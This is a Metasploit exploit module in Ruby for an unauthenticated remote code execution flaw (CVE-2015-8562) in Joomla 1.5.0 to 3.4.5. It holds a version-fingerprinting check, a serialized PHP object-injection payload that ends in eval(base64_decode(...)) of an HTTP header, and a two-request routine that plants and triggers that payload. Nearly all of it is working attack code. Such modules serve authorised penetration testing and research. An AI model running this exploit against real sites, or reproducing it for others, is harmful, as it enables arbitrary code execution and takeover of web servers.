metasploit-framework/modules/exploits/multi/http/joomla_http_header_rce.rb

180 lines
7.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
'Description' => %q{
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
By storing user supplied headers in the databases session table it's possible to truncate the input
by sending an UTF-8 character. The custom created payload is then executed once the session is read
from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
In later versions the deserialisation of invalid session data stops on the first error and the
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
},
'Author' =>
[
'Marc-Alexandre Montpas', # discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8562'],
['EDB', '38977'], # PoC from Gary
['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent"
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
['URL', 'https://bugs.php.net/bug.php?id=70219']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
'DisclosureDate' => 'Dec 14 2015',
'DefaultTarget' => 0)
)
register_options(
[
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
])
register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
])
end
def check
res = send_request_cgi({'uri' => target_uri.path })
unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
unless res.headers['X-Powered-By']
vprint_error("Unable to determine the PHP version.")
return Exploit::CheckCode::Unknown
end
online = joomla_and_online?
unless online
vprint_error("Unable to detect joomla on #{target_uri.path}")
return Exploit::CheckCode::Safe
end
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
version = Gem::Version.new(php_version)
vulnerable = false
# check for ubuntu and debian specific versions. Was fixed in
# * 5.5.9+dfsg-1ubuntu4.13
# * 5.3.10-1ubuntu3.20
# * 5.4.45-0+deb7u1
# Changelogs (search for CVE-2015-6835 or #70219):
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
if rest && rest.include?('ubuntu')
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")
if version > Gem::Version.new('5.5.9')
vulnerable = false
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
vulnerable = false
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
vulnerable = false
else
vulnerable = true
end
elsif rest && rest.include?('+deb')
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")
if version > Gem::Version.new('5.4.45')
vulnerable = false
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
vulnerable = false
else
vulnerable = true
end
else
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
vulnerable = true if version <= Gem::Version.new('5.4.44')
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
end
unless vulnerable
vprint_error('This module currently does not work against this PHP version')
return Exploit::CheckCode::Safe
end
j_version = joomla_version
unless j_version.nil?
vprint_status("Detected Joomla version #{j_version}")
return Exploit::CheckCode::Appears if Gem::Version.new(j_version) < Gem::Version.new('3.4.6')
end
return Exploit::CheckCode::Detected if online
Exploit::CheckCode::Safe
end
def get_payload(header_name)
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def exploit
if check == Exploit::CheckCode::Safe && !datastore['FORCE']
print_error('Target seems safe, so we will not continue.')
return
end
print_status("Sending payload ...")
header_name = Rex::Text.rand_text_alpha_upper(5)
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { datastore['HEADER'] => get_payload(header_name) }
})
fail_with(Failure::Unknown, 'No response') if res.nil?
session_cookie = res.get_cookies
send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'cookie' => session_cookie,
'headers' => {
header_name => Rex::Text.encode_base64(payload.encoded)
}
})
end
end